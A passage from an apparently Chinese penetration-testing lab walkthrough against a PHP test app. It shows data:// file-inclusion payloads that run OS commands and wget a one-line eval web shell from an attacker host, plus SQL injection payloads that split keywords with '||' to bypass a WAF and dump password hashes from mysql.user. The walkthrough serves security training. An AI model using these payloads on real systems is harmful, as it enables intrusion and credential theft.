>2\u3001\u63a5\u4e0b\u6765\u5173\u6ce8\u4e00\u4e0b\u7559\u8a00\u529f\u80fd&#xff0c;\u8fd9\u91cc\u662f\u5141\u8bb8\u7528\u6237\u8f93\u5165\u5185\u5bb9\u7684&#xff0c;\u5728\u6e17\u900f\u4e2d\u6709\u4e00\u4e2a\u6838\u5fc3\u7684\u601d\u60f3&#xff0c;\u90a3\u5c31\u662f\u6240\u6709\u7684\u8f93\u5165\u662f\u5426\u7528\u6237\u53ef\u63a7&#xff0c;\u4e00\u822c\u6765\u8bf4&#xff0c;\u7528\u6237\u53ef\u63a7\u7684\u8f93\u5165\u90fd\u6709\u4e00\u5b9a\u7684\u51e0\u7387\u5b58\u5728\u5b89\u5168\u98ce\u9669&#xff0c;\u5982\u679c\u540e\u7aef\u4ee3\u7801\u672a\u505a\u8fc7\u6ee4\u6216\u8005\u8fc7\u6ee4\u4e0d\u591f\u5f7b\u5e95&#xff0c;\u90a3\u4e48\u8fd9\u4e9b\u5730\u65b9\u5c31\u662f\u673a\u4f1a&#xff0c;\u56e0\u6b64\u5148\u4ece\u6b64\u5904\u5165\u624b\u8bd5\u8bd5\u770b\u3002\u5728\u8fd9\u4e2a\u4f4d\u7f6e&#xff0c;\u6211\u4eec\u53ef\u4ee5\u5c1d\u8bd5\u7684\u6709sql\u6ce8\u5165\u548c\u5b58\u50a8\u578bXSS&#xff0c;\u5148\u8bd5\u8bd5sql\u6ce8\u5165&#xff0c;\u7531\u4e8e\u7559\u8a00\u5c5e\u4e8e\u63d2\u5165\u529f\u80fd&#xff0c;\u56e0\u6b64\u8fd9\u91cc\u4f18\u5148\u8003\u8651\u62a5\u9519\u6ce8\u5165&#xff0c;\u770b\u770b\u662f\u5426\u6709\u673a\u4f1a\u3002<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/www.wsisp.com\/helps\/wp-content\/uploads\/2025\/08\/20250812091016-689b04f8d2e03.png\" alt=\"\" \/><\/p>\n<p>\u7ed3\u679c\u53d1\u73b0&#xff0c;\u6ce8\u5165\u7684sql\u4ee3\u7801\u88ab\u539f\u6837\u663e\u793a&#xff0c;\u663e\u7136\u8fd9\u91cc\u6ca1\u6709sql\u6ce8\u5165&#xff0c;\u90a3\u4e48\u518d\u68c0\u6d4b\u4e00\u4e0b\u662f\u5426\u53ef\u4ee5\u8fdb\u884cXSS,\u5728\u8f93\u5165\u6846\u4e2d\u8f93\u5165\u4ee5\u4e0b\u4ee3\u7801test\u63d0\u4ea4\u7559\u8a00\u3002<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/www.wsisp.com\/helps\/wp-content\/uploads\/2025\/08\/20250812091017-689b04f92cf9e.png\" alt=\"\" \/><\/p>\n<p>\u53ef\u4ee5\u770b\u51fa&#xff0c;\u8fd8\u662f\u88ab\u539f\u6587\u663e\u793a&#xff0c;\u8bf4\u660e\u8fd9\u91cc\u6f0f\u6d1e\u4e5f\u88ab\u5835\u4e86&#xff0c;\u90a3\u4e48\u70b9\u51fb\u67e5\u770b\u7559\u8a00\u8be6\u60c5\u8bd5\u8bd5&#xff0c;\u8fd9\u91cc\u6211\u4eec\u53ef\u4ee5\u83b7\u5f97\u7559\u8a00\u8be6\u60c5\u7684\u63a5\u53e3\u5730\u5740&#xff1a;http:\/\/192.168.211.128\/messageDetail.php?id&#061;9\u8fd9\u91cc\u53c2\u6570id\u770b\u8d77\u6765\u5e94\u8be5\u662f\u4e00\u4e2a\u67e5\u8be2\u6761\u4ef6&#xff0c;\u90a3\u4e48\u53ef\u4ee5\u5c1d\u8bd5\u770b\u770b\u8fd9\u91cc\u662f\u5426\u5b58\u5728\u6ce8\u5165\u7684\u53ef\u80fd\u3002\u5728hackbar\u4e2d\u8f93\u5165http:\/\/192.168.211.128\/messageDetail.php?id&#061;9 or 1&#061;1#\u53ef\u4ee5\u770b\u5230\u4e0b\u56fe\u663e\u793a&#xff1a;<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/www.wsisp.com\/helps\/wp-content\/uploads\/2025\/08\/20250812091017-689b04f981b41.png\" alt=\"\" \/><\/p>\n<p>\u4ece\u56fe\u4e0a\u53ef\u4ee5\u770b\u51fa\u8fd9\u91cc\u6709\u56de\u663e&#xff0c;\u4e14\u4ece\u63d0\u793a\u770b\u4e00\u770b\u51fa&#xff0c;sql\u4ee3\u7801\u88abwaf&#xff08;web application firewall&#xff09;&#xff0c;\u8fd9\u91cc\u53ef\u4ee5\u77e5\u9053\u76ee\u6807\u4f7f\u7528\u4e86\u4e00\u79cdweb\u9632\u706b\u5899\u57fa\u7840&#xff0c;\u800cor\u88ab\u66ff\u6362\u4e3a\u4e86sqlwaf&#xff0c;\u53ef\u4ee5\u770b\u51fa\u5176\u9632\u706b\u5899\u4ee3\u7801\u91c7\u53d6\u7684\u662f\u66ff\u6362\u7b56\u7565&#xff0c;\u90a3\u4e48\u6839\u636e\u7ecf\u9a8c\u53ef\u4ee5\u8bd5\u8bd5\u5176\u4ed6\u7684\u5173\u952e\u5b57\u548c\u5173\u952e\u7b26\u53f7&#xff0c;\u770b\u770b\u66ff\u6362\u4e2d\u662f\u5426\u5b58\u5728\u6f0f\u6d1e\u53ef\u4ee5\u5229\u7528&#xff0c;\u5728sql\u6ce8\u5165\u4e2d&#xff0c;&amp;&amp;\u3001||\u3001_\u4e0b\u5212\u7ebf&#xff0c;\u5355\u5f15\u53f7&#xff0c;\u53cc\u5f15\u53f7\u8fd9\u4e9b\u7b26\u53f7\u662f\u975e\u5e38\u6709\u7528\u7684&#xff0c;\u5982\u679c\u8fd9\u4e9b\u7b26\u53f7\u88ab\u66ff\u6362&#xff0c;\u90a3\u4e48\u6211\u4eec\u53ef\u80fd\u5c31\u5f97\u53e6\u8c0b\u51fa\u8def\u3002\u56e0\u6b64\u5c06\u8fd9\u51e0\u4e2a\u7b26\u53f7\u653e\u5728\u4e3b\u8981\u5c1d\u8bd5\u7684\u4f4d\u7f6e\u3002\u7ecf\u8fc7\u5c1d\u8bd5\u53ef\u4ee5\u53d1\u73b0\u4e0b\u5212\u7ebf\u3001\u5355\u5f15\u53f7\u548c\u53cc\u5f15\u53f7\u4e5f\u88ab\u8f6c\u4e49\u4e86&#xff0c;\u800c&amp;&amp;\u548c||\u88ab\u66ff\u6362\u4e3a\u4e86\u7a7a&#xff0c;\u8fd9\u91cc\u5c31\u7559\u4e0b\u4e86\u4e00\u4e2a\u6ce8\u5165\u6f0f\u6d1e&#xff0c;\u53ef\u4ee5\u5229\u7528||\u6765\u7ed5\u8fc7\u5173\u952e\u5b57\u7684waf\u3002<\/p>\n<p>\u4ece\u8fd9\u91cc\u6211\u4eec\u53ef\u4ee5\u770b\u51fa\u76ee\u524d\u81f3\u5c11\u6709\u4e24\u4e2a\u6f0f\u6d1e\u53ef\u4ee5\u8bd5\u8bd5&#xff0c;\u4e0b\u9762\u6211\u4eec\u5c31\u5f00\u59cb\u5c1d\u8bd5&#xff0c;\u770b\u770b\u8fd9\u4e24\u4e2a\u6f0f\u6d1e\u662f\u5426\u53ef\u4ee5\u8fdb\u884c\u5229\u7528\u3002<\/p>\n<h3>\u516d\u3001\u6f0f\u6d1e\u5229\u7528<\/h3>\n<h4>1\u3001\u6587\u4ef6\u5305\u542b\u6f0f\u6d1e\u7684\u5229\u7528<\/h4>\n<p>\u9488\u5bf9\u6587\u4ef6\u5305\u542b\u7c7b\u7684\u6f0f\u6d1e\u5229\u7528&#xff0c;\u9700\u8981\u77e5\u9053\u7684\u662f\u6709\u4e24\u79cd\u5305\u542b\u65b9\u5f0f&#xff0c;\u7b2c\u4e00\u79cd\u5c31\u662f\u672c\u5730\u6587\u4ef6\u5305\u542b&#xff0c;\u8fd9\u79cd\u6f0f\u6d1e\u7684\u5229\u7528\u53ef\u4ee5\u83b7\u53d6\u5230\u670d\u52a1\u5668\u4e0a\u9762\u7684\u57fa\u672c\u4fe1\u606f&#xff0c;\u5982\u679c\u6709\u6587\u4ef6\u4e0a\u4f20\u6f0f\u6d1e\u5b58\u5728&#xff0c;\u5219\u53ef\u4ee5\u5c06\u4e8c\u8005\u8fdb\u884c\u7ed3\u5408&#xff0c;\u4ece\u800cgetshell\u3002\u800c\u6587\u4ef6\u5305\u542b\u7684\u5229\u7528\u9700\u8981\u7528\u5230php\u7684\u4f2a\u534f\u8bae\u76f8\u5173\u7684\u77e5\u8bc6&#xff0c;\u8fd9\u91cc\u6211\u4eec\u53ef\u4ee5\u8bd5\u8bd5data\u4f2a\u534f\u8bae\u3002<\/p>\n<p>\u5148\u4f7f\u7528\u4e0b\u9762\u7684payload\u8bd5\u8bd5<\/p>\n<p>http:\/\/192.168.211.132:81\/index.php?module&#061;data:\/\/text\/plain,&lt;?php phpinfo();?&gt;<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/www.wsisp.com\/helps\/wp-content\/uploads\/2025\/08\/20250812091017-689b04f9a3be8.png\" alt=\"\" \/><\/p>\n<p>\u8fd9\u4e2a\u7ed3\u679c\u8868\u793a&#xff0c;\u6211\u4eec\u5176\u5b9e\u5df2\u7ecf\u53ef\u4ee5\u6267\u884cOS\u7684\u547d\u4ee4&#xff0c;\u4e5f\u5c31\u662fgetshell\u3002\u6bd4\u5982\u53ef\u4ee5\u6267\u884c\u5982\u4e0b\u7684payload<\/p>\n<p>http:\/\/192.168.211.132:81\/index.php?module&#061;data:\/\/text\/plain,&lt;?php echo\\\\&#096;ifconfig\\\\&#096;;?&gt;<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/www.wsisp.com\/helps\/wp-content\/uploads\/2025\/08\/20250812091017-689b04f9bf835.png\" alt=\"\" \/><\/p>\n<p>\u53ef\u4ee5\u770b\u5230\u5df2\u7ecf\u4ece\u670d\u52a1\u5668\u83b7\u53d6\u5230\u4e86\u4fe1\u606f&#xff0c;\u90a3\u4e48\u53ef\u4ee5\u987a\u7740\u8fd9\u4e2a\u601d\u8def\u5f80\u4e0b&#xff0c;\u5c06\u670d\u52a1\u5668\u4e0a\u9762\u7684\u6240\u6709\u80fd\u770b\u7684\u6587\u4ef6\u90fd\u8fdb\u884c\u6d4f\u89c8&#xff0c;\u4ece\u800c\u83b7\u53d6\u6211\u4eec\u9700\u8981\u7684\u4fe1\u606f\u3002\u53e6\u5916\u4e5f\u53ef\u4ee5\u5b9e\u65bd\u6302\u9a6c\u7684\u64cd\u4f5c\u3002\u4ece\u653b\u51fb\u670d\u52a1\u5668\u4e0a\u9762\u53bb\u4e0b\u8f7d\u4e00\u4e2a\u4e00\u53e5\u8bdd\u6728\u9a6c&#xff0c;\u5982\u679c\u5728\u5916\u7f51\u4e0a\u9762&#xff0c;\u90a3\u4e48\u670d\u52a1\u5668\u9700\u8981\u63d0\u4f9b\u5916\u7f51\u7684\u8bbf\u95ee\u529f\u80fd\u3002\u670d\u52a1\u5668\u811a\u672c\u7684\u4f4d\u7f6e\u5c31\u76f4\u63a5\u65b9\u6cd5\/opt\/lampp\/htdocs\u4e0b\u9762&#xff0c;\u811a\u672c\u540d\u5b57\u53ef\u4ee5\u6839\u636e\u9700\u8981\u6765\u6539&#xff0c;\u5176\u5185\u5bb9\u53ea\u6709\u4e00\u53e5\u8bdd&lt;?php eval($\\\\_POST\\\\[0\\\\]);?&gt;?\u5728\u6d4f\u89c8\u5668\u4e2d\u6267\u884c\u4e0b\u9762\u7684payload<\/p>\n<p>http:\/\/192.168.211.132:81\/index.php?module&#061;data:\/\/text\/plain,&lt;?php\\\\&#096;wget http:\/\/192.168.211.129\/shell.inc-O\/tmp\/shell.php\\\\&#096;;?&gt;<\/p>\n<p>\u5728\u88ab\u653b\u51fb\u7684\u670d\u52a1\u5668\u4e0a\u9762\u7684\/tmp\u76ee\u5f55\u4e0b\u9762\u53ef\u4ee5\u770b\u5230\u4e0b\u9762\u7684\u7ed3\u679c&#xff1a;<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/www.wsisp.com\/helps\/wp-content\/uploads\/2025\/08\/20250812091017-689b04f9dc122.png\" alt=\"\" \/><\/p>\n<p>\u6728\u9a6c\u4e0a\u4f20\u6210\u529f&#xff0c;\u540e\u7eed\u53ef\u4ee5\u4f7f\u7528\u8681\u5251\u7b49\u5de5\u5177\u8fdb\u884c\u8fde\u63a5\u670d\u52a1&#xff0c;\u5b9e\u65bd\u5176\u4ed6\u7684\u64cd\u4f5c\u3002<\/p>\n<h4>2\u3001sql\u6ce8\u5165\u6f0f\u6d1e\u5229\u7528<\/h4>\n<p>\u6839\u636e\u524d\u9762\u6982\u5ff5\u9a8c\u8bc1\u7684\u7ed3\u679c&#xff0c;\u53ef\u4ee5\u770b\u51fa\u5728\u8fd4\u56de\u7559\u8a00\u8be6\u60c5\u7684\u5730\u65b9\u53ef\u4ee5\u8fdb\u884cSQL\u6ce8\u5165&#xff0c;\u5148\u5c1d\u8bd5\u6700\u76f4\u63a5\u7684\u65b9\u6cd5\u5c31\u662f\u8054\u5408\u6ce8\u5165&#xff0c;payload\u5982\u4e0b<\/p>\n<p>http:\/\/192.168.211.132:81\/messageDetail.php?id&#061;7 uni||on sel||ect database(),version(),user(),4#<\/p>\n<p>\u53ef\u4ee5\u770b\u5230\u7ed3\u679c&#xff1a;<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/www.wsisp.com\/helps\/wp-content\/uploads\/2025\/08\/20250812091018-689b04fa08f4f.png\" alt=\"\" \/><\/p>\n<p>\u4ece\u8fd9\u91cc\u770b\u51fa&#xff0c;\u5176\u5185\u90e8\u6570\u636e\u5e93\u914d\u7f6e\u7684\u662f\u672c\u5730\u7528\u6237root&#064;localhost&#xff0c;\u8fd9\u91cc\u53ef\u4ee5\u8bd5\u8bd5\u80fd\u5426\u76f4\u63a5\u4eceinformation_schema\u4e2d\u83b7\u53d6\u8868\u4fe1\u606f&#xff0c;\u4f7f\u7528payload\u5982\u4e0b,\u8fd9\u91cc\u56e0\u4e3a\u8981\u7ed5\u5f00\u5355\u5f15\u53f7\u8f6c\u4e49&#xff0c;\u9700\u8981\u628a\u6570\u636e\u5e93\u90e8\u5206\u7684\u2019vauditdemo\u2019\u8f6c\u6210hex&#xff0c;\u53730x2776617564697464656d6f27<\/p>\n<p>sel||ect table_name fr||om info||rmation_schema.tables whe||re table_schema&#061;0x2776617564697464656d6f27<\/p>\n<p>\u4f46\u662f\u770b\u5230\u7684\u7ed3\u679c\u5982\u4e0b&#xff1a;<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/www.wsisp.com\/helps\/wp-content\/uploads\/2025\/08\/20250812091018-689b04fa4ec78.png\" alt=\"\" \/><\/p>\n<p>\u8fd9\u91cc\u53ef\u4ee5\u770b\u5230\u5185\u90e8\u5bf9\u4e0b\u5212\u7ebf\u505a\u4e86\u8f6c\u4e49&#xff0c;\u56e0\u6b64\u65e0\u6cd5\u4eceinformation_schema\u4e2d\u904d\u5386\u6570\u636e\u5e93\u4fe1\u606f&#xff0c;\u90a3\u5c31\u5e72\u8106\u8bd5\u8bd5\u80fd\u5426\u4eceMySQL\u5e93\u4e2d\u83b7\u53d6\u7528\u6237\u4fe1\u606f&#xff0c;payload\u5982\u4e0b&#xff1a;<\/p>\n<p>http:\/\/192.168.211.132:81\/messageDetail.php?id&#061;7 uni||on sel||ect database(),version(),user(),(sel||ect conc||at(host,0x7e,user,0x7e,passwo||rd)fr||om mysql.user)#<\/p>\n<p>\u53ef\u4ee5\u770b\u5230\u7ed3\u679c\u5982\u4e0b&#xff1a;<\/p>\n<p>Subquery returns more than 1 row The result for[7 union select database(),version(),user(),(select concat(host,0x7e,user,0x7e,password)from mysql.user)]is:<\/p>\n<p>\u8fd9\u91cc\u8868\u793a\u8fd4\u56de\u7684\u6570\u636e\u4e0d\u6b62\u4e00\u884c&#xff0c;\u90a3\u53ef\u4ee5\u4f7f\u7528limit\u8fdb\u884c\u9010\u884c\u904d\u5386&#xff0c;payload\u5982\u4e0b&#xff1a;<\/p>\n<p>http:\/\/192.168.211.132:81\/messageDetail.php?id&#061;7 uni||on sel||ect database(),version(),user(),(sel||ect conc||at(host,0x7e,user,0x7e,passwo||rd)fr||om mysql.user lim||it 0,1)#<\/p>\n<p>\u53ef\u4ee5\u770b\u5230\u7ed3\u679c&#xff1a;<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/www.wsisp.com\/helps\/wp-content\/uploads\/2025\/08\/20250812091018-689b04fa75c75.png\" alt=\"\" \/><\/p>\n<p>\u7ee7\u7eed\u904d\u5386&#xff0c;\u5c31\u53ef\u4ee5\u53d1\u73b0\u6570\u636e\u5e93\u91cc\u9762\u7684\u5177\u4f53\u7528\u6237\u4fe1\u606f&#xff0c;\u5176\u4e2d\u5305\u542b\u8fdc\u7a0b\u8fde\u63a5\u6743\u9650\u7684\u7528\u6237\u3002<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/www.wsisp.com\/helps\/wp-content\/uploads\/2025\/08\/20250812091018-689b04fa9fbd2.png\" alt=\"\" \/><\/p>\n<p>\u8fd9\u4e2a\u65f6\u5019\u9700\u8981\u5bf9\u7528\u6237humh\u7684\u5bc6\u7801\u8fdb\u884c\u521b\u5e93\u7834\u89e3&#xff0c;\u7136\u540e\u4f7f\u7528\u8fd9\u4e2a\u7528\u6237\u8fdb\u884c\u8fdc\u7a0b\u767b\u5f55\u5230\u6570\u636e\u5e93\u670d\u52a1\u5668&#xff0c;\u5bf9\u6570\u636e\u5e93\u8fdb\u884c\u64cd\u4f5c&#xff0c;\u8fd9\u4e2a\u65f6\u5019\u5c31\u5b8c\u7f8e\u7684\u907f\u5f00\u4e86\u7cfb\u7edf\u7684waf\u3002<\/p>\n<h3>\u4e03\u3001\u62a5\u544a\u7f16\u5199<\/h3>\n<h4>1\u3001\u6587\u4ef6\u5305\u542b\u95ee\u9898<\/h4>\n<p><img decoding=\"async\" src=\"https:\/\/www.wsisp.com\/helps\/wp-content\/uploads\/2025\/08\/20250812091018-689b04fac1506.png\" alt=\"\" \/><\/p>\n<h4>2\u3001SQL\u6ce8\u5165\u98ce\u9669<\/h4>\n<p><img decoding=\"async\" src=\"https:\/\/www.wsisp.com\/helps\/wp-content\/uploads\/2025\/08\/20250812091018-689b04fae634d.png\" alt=\"\" \/><\/p>\n<h4>3\u3001\u62a5\u544a\u6a21\u677f<\/h4>\n<p><img decoding=\"async\" src=\"2025-08-12icndqq0qc3e.png\" alt=\"\" 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